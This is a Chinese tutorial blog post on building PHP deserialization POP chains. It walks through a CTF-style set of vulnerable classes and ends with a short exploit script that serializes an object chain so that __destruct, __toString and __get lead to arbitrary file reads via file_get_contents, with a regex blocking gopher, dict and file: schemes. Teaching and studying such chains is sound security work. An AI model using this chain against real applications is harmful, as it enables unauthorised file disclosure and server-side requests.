zoukankan      html  css  js  c++  java
  • pop链构造

    class Person {
        private $name;
        private $sex;
        private $age;
    
        //__set()方法用来设置私有属性
        function __set($property_name, $value) { 
            echo "在直接设置私有属性值的时候,自动调用了这个 __set() 方法为私有属性赋值<br />";
            $this->$property_name = $value; 
        }
        //__get()方法用来获取私有属性
        function __get($property_name) {  
            echo "在直接获取私有属性值的时候,自动调用了这个 __get() 方法<br />";
            echo $property_name;
            // return isset($this->$property_name) ? $this->$property_name : null;
        }
    }
    
    $p1=new Person();
    //直接为私有属性赋值的操作, 会自动调用 __set() 方法进行赋值
    // $p1->name = "张三";
    //直接获取私有属性的值, 会自动调用 __get() 方法,返回成员属性的值
    // echo "我的名字叫:".$p1->name;	
    echo $p1->aaaaa;
    echo "<br>";
    

    构造pop时,当访问一个不存在的属性的时候,会直接调用__get方法,并将aaaaa变量传递给__get方法中$property_name中。

    看如下代码构造反序列化漏洞:

    class C1e4r
    {
        public $test;
        public $str;
        public function __construct($name)
        {
            $this->str = $name;
        }
        public function __destruct()
        {
            $this->test = $this->str;
            echo "执行了C1e4r的destruct"."<br>";
            echo $this->test;
        }
    }
    class Show
    {
        public $source;
        public $str;
        public function __construct($file)
        {
            $this->source = $file;
            echo $this->source;
        }
        public function __toString()
        {
      //   	$a = new Test();
    		// $a->params = array("source"=>'http://www.baidu.com');
    		// $b = new Show('index.php');
    		// $b->str['str'] = $a;
        	echo "执行了Show的toString"."<br>";
            $content = $this->str['str']->source;
            return $content;
        }
        public function __set($key,$value)
        {
            $this->$key = $value;
        }
        public function _show()
        {
            if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
                die('hacker!');
            } else {
                highlight_file($this->source);
            }
            
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
                echo "hacker~";
                $this->source = "index.php";
            }
        }
    }
    class Test
    {
        public $file;
        public $params;
        public function __construct()
        {
            $this->params = array();
        }
        public function __get($key)
        {
        	echo "执行了Test的get"."<br>";
        	echo "$key"."<br>";
            return $this->get($key);
        }
        public function get($key)
        {
            if(isset($this->params[$key])) {
                $value = $this->params[$key];
            } else {
                $value = "index.php";
            }
            return $this->file_get($value);
        }
        public function file_get($value)
        {
            $text = base64_encode(file_get_contents($value));
            return $text;
        }
    }
    

    向上回溯危险函数file_get->get->__get,看哪个类能够触发Test类的__get函数,发现Show类的__toString函数的$this->str['str']->source访问一个不存在的变量会调用__get方法,所以将Test类赋值给$this->str['str'],看哪个类又调用Show的__toString函数,发现C1e4r类的 __destruct魔法函数 $this->test = $this->str;echo $this->test;将Show类赋值给$this->test.就会调用__toString方法。
    总结:
    1.利用C1e4r类的__destruct()中的echo (this->test 2.触发Show类的`__toString()` 3.利用Show类的`)content = $this->str['str']->source 4.触发Test类的__get() 5.成功利用file_get()`读文件
    exp:

    $a = new Test();
    $a->params = array("source"=>'http://www.baidu.com');
    $b = new Show('index.php');
    $b->str['str'] = $a;
    $c= new C1e4r($b);
    echo serialize($c);
    


    参考链接:
    https://xz.aliyun.com/t/3656#toc-1
    php反序列化的好文章:
    https://xz.aliyun.com/t/3674#toc-20

  • 相关阅读:
    ~是什么意思 在C语言中,~0代表什么
    window中普通用户无法登录远程桌面
    服务器22端口被封锁的问题解决
    让hive的表注释和字段注释支持中文
    MySQL Workbench在archlinux中出现 Could not store password: The name org.freedesktop.secrets was not provided by any .service files的错误
    记使用talend从oracle抽取数据时,数字变为0的问题
    记mysql中时间相关的一个奇怪问题
    使用dbeaver查mysql的表会导致锁表的问题
    oracle中实现某个用户truncate 其它用户下的表
    Oracle中找出用户的上次登录时间
  • 原文地址:https://www.cnblogs.com/afanti/p/10154761.html
Copyright © 2011-2022 走看看